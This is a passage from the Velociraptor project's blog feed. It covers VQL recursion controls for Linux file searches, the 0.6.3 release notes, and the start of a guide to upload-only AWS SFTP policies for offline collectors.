&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above example, we used the VQL lambda returning true only for directories that have a path not starting with &lt;code&gt;shared&lt;/code&gt; or &lt;code&gt;proc&lt;/code&gt; or &lt;code&gt;snap&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;x =&amp;gt; NOT x.FullPath =~ &#39;^/(shared|proc|snap)&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;more-powerful-recursion-callbacks&#34;&gt;More powerful recursion callbacks&lt;/h2&gt;&#xA;&lt;p&gt;While controlling recursion using the directory path works well on&#xA;this system, we typically want to develop a more generalized solution&#xA;that we can apply to more systems. Ultimately, we can not predict&#xA;where various filesystems are mounted based on the path, but we just&#xA;want to ensure that we do not recurse into remote filesystems, or&#xA;virtual filesystems.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;recursion_callback&lt;/code&gt; mechanism is very flexible and allows us to&#xA;choose arbitrary conditions to control the recursion. Can we determine&#xA;what type of filesystem a particular file resides on?&lt;/p&gt;&#xA;&lt;p&gt;On Linux, the &lt;code&gt;stat&lt;/code&gt; filesystem call returns a &lt;code&gt;device&lt;/code&gt; field. You can see&#xA;this with a simple stat shell command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# stat /etc/passwd&#xA;   File: /etc/passwd&#xA;   Size: 2292            Blocks: 8          IO Block: 4096   regular file&#xA;Device: fd00h/64768d    Inode: 540077      Links: 1&#xA;Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)&#xA;Access: 2022-01-06 22:08:44.793600319 +1000&#xA;Modify: 2021-12-09 17:19:40.768596398 +1000&#xA;Change: 2021-12-09 17:19:40.768596398 +1000&#xA; Birth: 2021-12-09 17:19:40.768596398 +1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;Device&lt;/code&gt; field is actually broken into two parts - the device&#xA;major part and the device minor part (8 bits each). These correspond&#xA;to the device shown in &lt;code&gt;/dev/&lt;/code&gt; (&lt;code&gt;fd00&lt;/code&gt; represents major &lt;code&gt;0xfd&lt;/code&gt; (253)&#xA;and minor 0):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;# ls -l /dev/dm-0&#xA;brw-rw-r-- 1 root disk 253, 0 Jan  6 01:55 /dev/dm-0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The device major number represents the device driver that is&#xA;responsible for this filesystem, listed in &lt;code&gt;/proc/devices&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Block devices:&#xA;  7 loop&#xA;  8 sd&#xA;  9 md&#xA; 11 sr&#xA; 65 sd&#xA; 66 sd&#xA; 67 sd&#xA; 68 sd&#xA; 69 sd&#xA; 70 sd&#xA; 71 sd&#xA;128 sd&#xA;129 sd&#xA;130 sd&#xA;131 sd&#xA;132 sd&#xA;133 sd&#xA;134 sd&#xA;135 sd&#xA;253 device-mapper&#xA;254 mdp&#xA;259 blkext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The glob plugin can provide filesystem specific information in the&#xA;&lt;code&gt;Data&lt;/code&gt; column:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-searching-for-files-on-linux//blog/2022/2022-01-05-searching-for-files-on-linux/device_major.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Device major and minor numbers&#34;&#xA;         width=&#34;1083&#34; height=&#34;529&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;device_major.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Device major and minor numbers&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Major numbers larger than 7 are considered &amp;ldquo;local&amp;rdquo;. The following&#xA;query can therefore stay on the locally attached devices excluding the&#xA;loopback mounted filesystems:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath&#xA;FROM glob(globs=&#39;/**/*.pem&#39;,&#xA;          recursion_callback=&#39;x=&amp;gt;x.IsLink OR x.Data.DevMajor &amp;gt; 7&#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This query is very efficient, following links but skipping /proc,&#xA;remote filesystems but covering additional attached storage. We do not&#xA;need to rely on guessing where remote filesystems are mounted, and&#xA;excluding only those directories, instead limiting recursion to the&#xA;type of device hosting the filesystem.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;Searching files on the filesystems seems like a simple operation, but&#xA;can represent a number of pitfalls - particularly when run against&#xA;Linux system with unusual configuration. Not considering these issues&#xA;may result in runaway processes and severe load on the target systems.&lt;/p&gt;&#xA;&lt;p&gt;It is difficult to predict how much work a recursive search will&#xA;perform so tools should have safety built in, such as timeouts&#xA;(Velociraptor&amp;rsquo;s default 600 second timeout will cancel the search),&#xA;limits on number of rows returned or directory traversal depth&#xA;limitation (Velociraptor&amp;rsquo;s glob expressions can specify a recursion&#xA;depth).&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;find&lt;/code&gt; commandline tool has some safety mechanisms built in such&#xA;as cycle detection, in addition to the &lt;code&gt;-xdev&lt;/code&gt; option limiting&#xA;recursion to a single filesystem. Any custom code needs to replicate&#xA;these mechanisms.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s &lt;code&gt;glob()&lt;/code&gt; plugin has fine grained controls allowing&#xA;coverage of only a small set of filesystem types, or mount&#xA;points. This allows Velociraptor to safely search the entire system&#xA;for files balancing coverage with the risk following symlinks.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.3 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-01-05-release-notes-0.6.3/</link>
      <pubDate>Wed, 05 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-01-05-release-notes-0.6.3/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release&#xA;0.6.3. This release has been in the making for a few months now and&#xA;has a lot of new features.&lt;/p&gt;&#xA;&lt;p&gt;The main focus of development since our previous release was around&#xA;scalability and speed. Working with some of our larger partners on&#xA;scaling Velociraptor to a large number of endpoints, we have addressed&#xA;a number of challenges, which I believe have improved Velociraptor for&#xA;everyone at any level of scale!&lt;/p&gt;&#xA;&lt;h2 id=&#34;performance-running-on-efs&#34;&gt;Performance running on EFS&lt;/h2&gt;&#xA;&lt;p&gt;Running on a distributed filesystem such as EFS presents many&#xA;advantages, not the least of which is removing the risk that disk space&#xA;will run out! Many users previously faced disk full errors when&#xA;running large hunts and accidentally collecting too much data from&#xA;endpoints! Since Velociraptor is so fast, it is easy to do a hunt&#xA;collecting a large number of files and then pretty soon the disk is&#xA;full.&lt;/p&gt;&#xA;&lt;p&gt;Using EFS removed this risk since storage is essentially infinite (but&#xA;not free). So there is a definite advantage to running the data store&#xA;on EFS even when not running multiple frontends.  When scaling to&#xA;multiple frontends, EFS use is essential to facilitate as a shared&#xA;distributed filesystem among all the servers.&lt;/p&gt;&#xA;&lt;p&gt;However, EFS presents some challenges. Although conceptually EFS&#xA;behaves as a transparent filesystem, in reality the added network&#xA;latency of EFS IO was causing unacceptable performance issues.&lt;/p&gt;&#xA;&lt;p&gt;In this release we employed a number of strategies to improve&#xA;performance on EFS (and potentially other distributed filesystems&#xA;e.g. NFS). You can read all about the &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/server/multifrontend/&#34;&gt;new changes here&lt;/a&gt;, but the gist of it is&#xA;that added caching and delayed writing strategies help to isolate the&#xA;GUI performance from the underlying EFS latency, making the GUI&#xA;snappy and quick even with slow filesystems.&lt;/p&gt;&#xA;&lt;p&gt;I encourage everyone to test the new release on an EFS backend, to&#xA;assess the performance on this setup - there are many advantages to&#xA;this configuration. While this configuration is still considered&#xA;experimental it is running successfully in a number of environments.&lt;/p&gt;&#xA;&lt;h2 id=&#34;searching-and-indexing&#34;&gt;Searching and indexing&lt;/h2&gt;&#xA;&lt;p&gt;More as a side effect of the EFS work, Velociraptor 0.6.3 moves the&#xA;client index into memory. This means that searching for clients by DNS&#xA;name or labels is almost instant, much improving the performance of&#xA;these operations over previous version.&lt;/p&gt;&#xA;&lt;p&gt;VQL queries that walk over all clients, are now very fast as well. For&#xA;example the following query iterates over all clients (maybe&#xA;thousands!) and checks if their last IP came from a particular subnet:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT * , split(sep=&amp;quot;:&amp;quot;, string=last_ip)[0] AS LastIp&#xA;FROM clients()&#xA;WHERE cidr_contains(ip=LastIp, ranges=&amp;quot;192.168.1.0/16&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This query will complete in a few seconds even with a large number of&#xA;clients.&lt;/p&gt;&#xA;&lt;p&gt;The GUI search bar can now search for IP addresses&#xA;(e.g. &lt;code&gt;ip:192.168*&lt;/code&gt;), and the online only filter is much faster as a&#xA;result!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-release-notes-0.6.3//blog/2022/2022-01-05-release-notes-0.6.3/searching.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Searching is much faster&#34;&#xA;         width=&#34;979&#34; height=&#34;300&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;searching.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Searching is much faster&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Another benefit of rapid index searching is that we can now quickly&#xA;estimate how many hosts will be affected by a hunt (calculated based&#xA;on how many hosts are included and how many are excluded from the&#xA;hunt). When users have multiple label groups this helps to quickly&#xA;understand how targeted a specific hunt is.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-release-notes-0.6.3//blog/2022/2022-01-05-release-notes-0.6.3/hunt.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Estimating hunt scope&#34;&#xA;         width=&#34;1116&#34; height=&#34;636&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hunt.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Estimating hunt scope&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;regular-expressions-and-yara-rules&#34;&gt;Regular expressions and Yara rules&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor artifacts are just a way of wrapping a VQL query inside a&#xA;YAML file for ease of use. Artifacts accept parameters that are passed&#xA;to the VQL itself controlling how it runs.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor artifacts accept a number of parameters of different&#xA;types. Sometimes, they accept a windows path - for example the&#xA;&lt;code&gt;Windows.EventLogs.EvtxHunter&lt;/code&gt; artifact accepts a Windows glob path&#xA;like &lt;code&gt;%SystemRoot%\System32\Winevt\Logs\*.evtx&lt;/code&gt;. In the same artifact,&#xA;we also can provide a &lt;code&gt;PathRegex&lt;/code&gt; which is a regular expression.&lt;/p&gt;&#xA;&lt;p&gt;A regular expression is not the same thing as a path at all, and in&#xA;fact when users get mixed up providing something like&#xA;&lt;code&gt;C:\Windows\System32&lt;/code&gt; to a regular expression field, this is an&#xA;invalid expressions - backslashes have a specific meaning in a regular&#xA;expression!&lt;/p&gt;&#xA;&lt;p&gt;In 0.6.3 there are now dedicated GUI elements for Regular Expression&#xA;inputs. Special regex patterns such as backslash sequences are&#xA;visually distinct. Additionally the GUI verifies that the regex is&#xA;syntactically correct and offers suggestions. Users can type &lt;code&gt;?&lt;/code&gt; to&#xA;receive further regular expression suggestions and help them build&#xA;their regex.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-release-notes-0.6.3//blog/2022/2022-01-05-release-notes-0.6.3/regex.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Entering regex in the GUI&#34;&#xA;         width=&#34;855&#34; height=&#34;352&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;regex.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Entering regex in the GUI&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;To receive a RegEx GUI selector in your custom artifacts, simply&#xA;denote the parameter&amp;rsquo;s type as &lt;code&gt;regex&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Similarly other artifacts require the user enter a Yara rule to use&#xA;the &lt;code&gt;yara()&lt;/code&gt; VQL plugin. The Yara domain specific language (DSL) is&#xA;rather verbose so even for very simple search terms (e.g. a simple&#xA;keyword search) a full rule needs to be constructed.&lt;/p&gt;&#xA;&lt;p&gt;To help with this task, the GUI now presents a specific Yara GUI&#xA;element. Users can press &lt;code&gt;?&lt;/code&gt; to automatically fill in a skeleton Yara&#xA;rule suitable for a simple keyword match. Additionally, syntax&#xA;highlighting gives visual feedback to the validity of the yara syntax.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-release-notes-0.6.3//blog/2022/2022-01-05-release-notes-0.6.3/yara.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Entering Yara Rules in the GUI&#34;&#xA;         width=&#34;1066&#34; height=&#34;749&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;yara.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Entering Yara Rules in the GUI&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Some artifacts allow file upload as a parameter to the artifact. This&#xA;allows users to upload larger inputs for example a large Yara&#xA;rule-set. The content of the file will be made available to the VQL&#xA;running on the client transparently.&lt;/p&gt;&#xA;&lt;p&gt;To receive a RegEx GUI selector in your custom artifacts, simply&#xA;denote the parameter&amp;rsquo;s type as &lt;code&gt;yara&lt;/code&gt;. To allow uploads in your&#xA;artifact parameters simply denote the parameter as a &lt;code&gt;upload&lt;/code&gt;&#xA;type. Within the VQL, the content of the uploaded file will be&#xA;available as that parameter.&lt;/p&gt;&#xA;&lt;h2 id=&#34;overriding-genericclientinfo&#34;&gt;Overriding Generic.Client.Info&lt;/h2&gt;&#xA;&lt;p&gt;When a new client connects to the Velociraptor server, the server&#xA;performs an &lt;code&gt;Interrogation&lt;/code&gt; flow by scheduling the&#xA;&lt;code&gt;Generic.Client.Info&lt;/code&gt; artifact on it. This artifact collects basic&#xA;metadata about the client such as the type of OS it is, the hostname,&#xA;the version of Velociraptor etc. This information is used to feed the&#xA;search index and is also displayed in the &amp;ldquo;VQL drilldown&amp;rdquo; page of the&#xA;&lt;code&gt;Host Information&lt;/code&gt; screen.&lt;/p&gt;&#xA;&lt;p&gt;In the latest release it is possible to customize the&#xA;&lt;code&gt;Generic.Client.Info&lt;/code&gt; artifact and Velociraptor will use the&#xA;customized version instead to interrogate new clients. This allows&#xA;users to add more deployment specific collections to the interrogate&#xA;flow and customize the &amp;ldquo;VQL drilldown&amp;rdquo; page. Simply search for&#xA;&lt;code&gt;Generic.Client.Info&lt;/code&gt; in the &lt;code&gt;View Artifact&lt;/code&gt; screen and customize as&#xA;needed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;root-certificates-are-now-embedded&#34;&gt;Root certificates are now embedded&lt;/h2&gt;&#xA;&lt;p&gt;By default Golang searches for root certificates from the running&#xA;system so it can verify TLS connections. This behavior caused problems&#xA;when running Velociraptor on very old unpatched systems that did not&#xA;receive the latest &lt;a href=&#34;https://letsencrypt.org/docs/dst-root-ca-x3-expiration-september-2021/&#34; target=&#34;_blank&#34; &gt;Let&amp;rsquo;s Encrypt Root Certificate&#xA;update&lt;/a&gt;. We&#xA;decided it was safer to just include the root certs in the binary so&#xA;we do not need to rely on the OS itself.&lt;/p&gt;&#xA;&lt;p&gt;Additionally Velociraptor will now accept additional root certs&#xA;embedded in its config file (Just add all the certs in PEM format&#xA;under the &lt;code&gt;Client.Crypto.root_certs&lt;/code&gt; key in the config file). This&#xA;helps deployments that must use a MITM proxy or traffic inspection&#xA;proxies.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Traffic inspection proxy &#34;&gt;&lt;p&gt;When adding a Root Certificate to the configuration file, Velociraptor&#xA;will treat that certificate as part of the public PKI roots -&#xA;therefore you will need to have &lt;code&gt;Client.use_self_signed_ssl&lt;/code&gt; as false.&lt;/p&gt;&#xA;&lt;p&gt;This allows Velociraptor to trust the TLS connection - however, bear&#xA;in mind that Velociraptor&amp;rsquo;s internal encryption channel is still&#xA;present! The MITM proxy will not be able to actually decode the data&#xA;nor can it interfere with the communications by injecting or modifying&#xA;data. Only the outer layer of TLS encryption can be stripped by the&#xA;MITM proxy.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;vql-changes&#34;&gt;VQL Changes&lt;/h2&gt;&#xA;&lt;h3 id=&#34;glob-plugin-improvements&#34;&gt;Glob plugin improvements&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;glob&lt;/code&gt; plugin now has a new option: &lt;code&gt;recursion_callback&lt;/code&gt;. This&#xA;allows much finer control over which directories to visit making file&#xA;searches much more efficient and targeted. To read more about it see&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-searching-for-files-on-linux/&#34;&gt;Searching for files&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notable-new-artifacts&#34;&gt;Notable new artifacts&lt;/h2&gt;&#xA;&lt;p&gt;Many people use Velociraptor to collect and hunt for data from&#xA;endpoints. Once the data is inspected and analyzed, often the data is&#xA;no longer needed.&lt;/p&gt;&#xA;&lt;p&gt;To help with the task of expiring old data, the latest release&#xA;incorporates the &lt;code&gt;Server.Utils.DeleteManyFlows&lt;/code&gt; and&#xA;&lt;code&gt;Server.Utils.DeleteMonitoringData&lt;/code&gt; artifacts which allow users to&#xA;remove older collections. This helps to manage disk usage and reduce&#xA;ongoing costs.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>SFTP in AWS</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws/</link>
      <pubDate>Mon, 20 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws/</guid>
      <description>&lt;p&gt;Many people use Velociraptor&amp;rsquo;s &lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/offline_collections/&#34;&gt;offline collector&lt;/a&gt; feature to collect any artifacts without&#xA;having the Velociraptor client actually installed on the&#xA;endpoint. While the offline collector feature is great to&#xA;interactively triage a machine, the produced collection zip file is&#xA;normally quite large and unwieldy to transfer.&lt;/p&gt;&#xA;&lt;p&gt;To help with this, Velociraptor offers the option to send the file&#xA;back to the cloud via a number of mechanisms, including upload to S3&#xA;buckets directly, WebDAV upload and using Secure FTP (sftp).&lt;/p&gt;&#xA;&lt;p&gt;One of the challenges with automatic uploading to the cloud is&#xA;securely configuring the upload mechanism. Since the credentials for&#xA;any upload service are embedded inside the collector, it is important&#xA;to ensure that these credentials have minimal additional permissions.&lt;/p&gt;&#xA;&lt;p&gt;For example, when using a cloud bucket to collect triage data from&#xA;endpoints, the bucket policy must be configured to allow a service&#xA;account full write access. However, using these credentials should not&#xA;allow anyone to list existing bucket resources, or to download&#xA;critical triage data from other hosts!&lt;/p&gt;&#xA;&lt;p&gt;I have &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2019/2019-10-08_triage-with-velociraptor-pt-3-d6f63215f579/&#34;&gt;previously&lt;/a&gt; described how to use Google cloud&amp;rsquo;s service accounts to upload to&#xA;a GCP bucket securely.&lt;/p&gt;&#xA;&lt;p&gt;In this post I describe how to set up Amazon&amp;rsquo;s SFTP transfer service&#xA;to securely allow the Velociraptor collector to upload files without&#xA;granting the collector permission to download the files again, delete&#xA;them or discover other uploads in the bucket.&lt;/p&gt;&#xA;&lt;p&gt;I would like to thank Simon Irwin from Rapid7 for his assistance and&#xA;guidance with AWS - I am certainly not an expert and needed a lot of&#xA;help figuring this process out. This is one of the reasons I wanted to&#xA;document the process in order to save others time.&lt;/p&gt;&#xA;&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;The main AWS service I will use is the &lt;a href=&#34;https://docs.aws.amazon.com/transfer/latest/userguide/what-is-aws-transfer-family.html&#34; target=&#34;_blank&#34; &gt;AWS Transfer Family&lt;/a&gt; documented extensively on the AWS documentation site.&lt;/p&gt;&#xA;&lt;p&gt;In a nutshell, the service requires creating an sftp transfer server&#xA;backed by an S3 bucket. The SFTP server does not use real usernames&#xA;for authentication, but rather throwaway usernames I create just for&#xA;that service.&lt;/p&gt;&#xA;&lt;p&gt;Each of these throwaway sftp users are given an SSH key pair (public&#xA;and private keys) which they use to authenticate with the service. The&#xA;private key will be embedded in the Velociraptor collector and allow&#xA;the collector to upload to the service. However, by setting up&#xA;restrictive policies I can limit the permissions of the sftp user.&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-an-aws-bucket&#34;&gt;Creating an AWS bucket&lt;/h2&gt;&#xA;&lt;p&gt;I will begin by creating an S3 bucket called &lt;code&gt;velociraptor-test&lt;/code&gt; that&#xA;will contain all the collector files uploaded from the endpoints.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-12-11-sftp-in-aws//blog/2021/2021-12-11-sftp-in-aws/creating_S3_bucket.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Creating an S3 bucket&#34;&#xA;         width=&#34;1635&#34; height=&#34;541&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;creating_S3_bucket.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Creating an S3 bucket&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;aws-policies&#34;&gt;AWS Policies&lt;/h2&gt;&#xA;&lt;p&gt;AWS controls access via roles and policies. For this configuration I&#xA;will need to create two policies:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The first policy I will call &lt;code&gt;velociraptor-upload-policy&lt;/code&gt; grants&#xA;full access to the AWS transfer service with full use of the&#xA;provided s3 bucket.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The second policy I will call &lt;code&gt;velociraptor-sftp-upload-only&lt;/code&gt;&#xA;policy will apply to the sftp user and only grant upload&#xA;permissions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;velociraptor-upload-policy&#34;&gt;velociraptor-upload-policy&lt;/h3&gt;&#xA;&lt;p&gt;This policy grants full access to the new bucket I created earlier.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;&#xA;{&#xA;  &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,&#xA;  &amp;quot;Statement&amp;quot;: [&#xA;  {&#xA;    &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&#xA;    &amp;quot;Action&amp;quot;: [&#xA;      &amp;quot;s3:PutObject&amp;quot;,&#xA;      &amp;quot;s3:GetObject&amp;quot;,&#xA;      &amp;quot;s3:ListBucket&amp;quot;,&#xA;      &amp;quot;s3:DeleteObject&amp;quot;,&#xA;      &amp;quot;s3:PutObjectAcl&amp;quot;&#xA;    ],&#xA;    &amp;quot;Resource&amp;quot;: [&#xA;       &amp;quot;arn:aws:s3:::velociraptor-test&amp;quot;,&#xA;       &amp;quot;arn:aws:s3:::velociraptor-test/*&amp;quot;&#xA;    ]&#xA;  }&#xA; ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;velociraptor-sftp-upload-only&#34;&gt;velociraptor-sftp-upload-only&lt;/h3&gt;&#xA;&lt;p&gt;This policy only grants upload rights&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{&#xA;&amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,&#xA;&amp;quot;Statement&amp;quot;: [&#xA;  {&#xA;    &amp;quot;Sid&amp;quot;: &amp;quot;AllowListingOfUserFolder&amp;quot;,&#xA;    &amp;quot;Action&amp;quot;: [&#xA;      &amp;quot;s3:ListBucket&amp;quot;&#xA;    ],&#xA;    &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&#xA;    &amp;quot;Resource&amp;quot;: [&#xA;      &amp;quot;arn:aws:s3:::${transfer:HomeBucket}&amp;quot;&#xA;     ],&#xA;    &amp;quot;Condition&amp;quot;: {&#xA;      &amp;quot;StringLike&amp;quot;: {&#xA;          &amp;quot;s3:prefix&amp;quot;: [&#xA;              &amp;quot;${transfer:HomeFolder}/*&amp;quot;,&#xA;              &amp;quot;${transfer:HomeFolder}&amp;quot;&#xA;          ]&#xA;      }&#xA;    }&#xA;  },&#xA;  {&#xA;    &amp;quot;Sid&amp;quot;: &amp;quot;HomeDirObjectAccess&amp;quot;,&#xA;    &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&#xA;    